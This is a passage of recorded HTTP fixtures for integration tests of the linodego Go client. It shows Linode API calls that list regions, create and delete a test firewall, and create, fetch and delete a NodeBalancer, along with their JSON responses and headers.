1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228226}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441137, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-45-149.ip.linodeusercontent.com", "ipv4": "172.105.45.149", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441137 method: GET response: body: '{"id": 441137, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-45-149.ip.linodeusercontent.com", "ipv4": "172.105.45.149", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441137 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228226 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancer_Rebuild.yaml000066400000000000000000000620751455402072200322740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228215, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 